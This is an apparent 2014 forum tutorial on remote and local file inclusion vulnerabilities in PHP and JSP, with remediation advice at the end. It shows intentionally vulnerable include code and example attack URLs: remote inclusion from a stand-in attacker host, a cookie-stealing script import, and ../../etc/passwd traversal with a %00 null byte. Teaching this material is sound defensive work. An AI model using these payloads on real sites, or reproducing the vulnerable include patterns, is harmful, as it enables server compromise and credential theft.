File Inclusion Attacks

Aerosol · December 9, 2014

A file inclusion vulnerability allows an attacker to access unauthorized or sensitive files available on the web server or to execute malicious files on the web server by making use of the ‘include’ functionality. This vulnerability is mainly due to a bad input validation mechanism, wherein the user’s input is passed to the file include commands without proper validation. The impact of this vulnerability can lead to malicious code execution on the server or reveal data present in sensitive files, etc.

‘Include’ functionality

Before we get into the details of this vulnerability, let us understand briefly the functioning of an “include” statement. In simple words, the include command takes all the content present in the specified file and copies it into the file that contains the include statement. File include methods are used to avoid re-coding and to obtain reusability. Developers may also use include statements to include the data common to most of the files in the application. The most common usage of the include statement is for footers, headers, menu files, etc. The below example explains the basic usage of the include functionality.

Consider a menu page as follows:
menu.php:

<?php
echo ‘<a href=”/home.asp”>HOME</a>
<a href=”/details.asp”>DETAILS</a>
<a href=”/contact.asp”>CONTACT US</a>;
?>

The menu page can be included in all the pages throughout the application just by using the include statement as shown below:
```
abc.html
<html>
<body>
<div class =”menu”><?php include ‘menu.php’;?></div>
<p>WELCOME</p>
</body>
</html>
```

Now, the “menu.php” file gets included in the abc.html file, and whenever the “abc.html” file is accessed, the code present in the “menu.php” file is copied to the “abc.html” file and it is executed.

As the functioning of the include statement is now clear, let us proceed to the file inclusion vulnerability. Going further, we shall deal with the file inclusion vulnerability in two different categories, based on whether the file is a remotely hosted file or a local file available on the web server:

Remote file inclusion
Local file inclusion

Remote file inclusion

RFI allows an attacker to include and execute a remotely hosted file using a script by including it in the attack page. The attacker can use RFI to run a malicious code either on the client side or on the server. The impact of this attack can vary from temporary theft of stealing session tokens or data when the target is client, to complete compromise of the system when the target is the application server.

Remote file inclusion in PHP

PHP is highly vulnerable to RFI attacks due to extensive usage of file include commands and due to default server configurations. To start with, first we need to find a location where a remote file is included in the application based on the user input. The user input is taken by the include function in PHP, and without proper validation of the input, the target site executes whatever input is provided in the vulnerable parameter.

One of the vulnerable locations can be as follows, where the value of the “testfile” parameter is supplied by the user:

www.victim_site.com/abc.php?testfile=example

The vulnerable PHP code is as follows:

$test = $_REQUEST["testfile"];
Include($test.”.php”);

In the above code, the “testfile” parameter is taken from the request, and it is a user supplied value. The code takes in the “testfile” value and directly includes it in the PHP file.

Following is one of the possible attack vectors for the above mentioned vulnerable PHP code:

www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page

The file “attack_page” is now included into the vulnerable include page available on the server and it gets executed whenever the “abc.php” page is accessed or executed. The attacker can carve malicious code in this “attack_page” and can perform malicious activities.

Remote file inclusion in JSP

Consider a scenario where a JSP page uses the “c:import” tag as follows to import a user supplied remote file in the current JSP page via an input parameter “test”.
<c:import url=”<%= request.getParameter(“test”)%>”>
The following vector can be one of the attack vectors for the above code:
www.victim_site.com/abc.jsp?test=http://www.attackersite.com/stealingcookie.js
The malicious script present in “stealingcookie.js”, which is available on a remote host and controlled by the attacker, is now imported into the victim site.
Local file inclusion

The local file inclusion vulnerability is a process of including the local files available on the server. This vulnerability occurs when a user input contains the path to the file that has to be included. When such an input is not properly sanitized, the attacker may give some default file names and access unauthorized files, or an attacker may also make use of directory traversal characters and retrieve sensitive files available in other directories.

Local file inclusion in PHP:

Consider an example as follows where we can apply this attack.
http://victim_site/abc.php?file=userinput.txt
The value of “file” parameter is taken into the following PHP code, and the file is included:
<?php
…
include $_REQUEST['file'];
…
?>
Now, an attacker can give malicious input in the “file” parameter which might retrieve unauthorized files present in the same directory, or he may use directory traversal characters like “../” to move to other directories. For example, an attacker can retrieve logs by supplying the input as “/apache/logs/error.log” or “/apache/logs/access.log”, or he can gather user credentials by supplying the input as “../../etc/passwd” in a UNIX like system.

In special cases where a file extension is a default type which is added to the user input during file inclusion, the best way to avoid the default extension to be added is by using null byte terminator ” %00?. The script that enforces the file extension may be secure, but the user input given to it by adding a “%00? null byte at the end of the URL can be used to perform malicious activity by accessing any file type.

Suppose that the input given is taken by the following code and the default extension being set is “.php”.

<?php
“include/”.include($_GET['testfile'].”.php”);
?>

Now if an attacker wants to access a file which is not of type “txt”, the attacker can use a %00 (null byte character) after the filename. Therefore an attack vector for the above code can be as follows, which will retrieve the password file available on a UNIX like web server.

http://victim_site/abc.php?testfile=../../../../etc/passwd%00

Local file inclusion in JSP:

Assume that the following URL is requested in the application and the parameter “test” is taken as an input in the include statement:www.victim_site.com/abc.jsp?test=xyz.jspThe value of the test parameter is passed to the include statement present in the following code:

…

<jsp:include page=”<%= (String)request.getParameter(”test”)%>”>

…

An attack vector for the above code can be as follows where in a valid database file can be given as an input and due to the local file inclusion vulnerability present in the application, the database file is included in the JSP page:www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB

RemediationAs the main cause for such vulnerabilities is improper input validation, the remediation suggestions for file inclusion mainly revolves around sanitizing the input received.

Accept only characters and numbers for file names (A-Z 0-9). Blacklist all the special characters which are not of any use in a filename.

Limit the API to allow inclusion of files only from one allowed directory so that directory traversal can also be avoided.

From the above information we can conclude that the file inclusion attacks can be at times more harmful than SQL injection, etc — therefore there is a great need to remediate such vulnerabilities. And proper input validation is the only key to avoid such vulnerabilities.

References:

Source

Sign In

File Inclusion Attacks

Recommended Posts

Aerosol

Join the conversation

Browse

Activity

Pages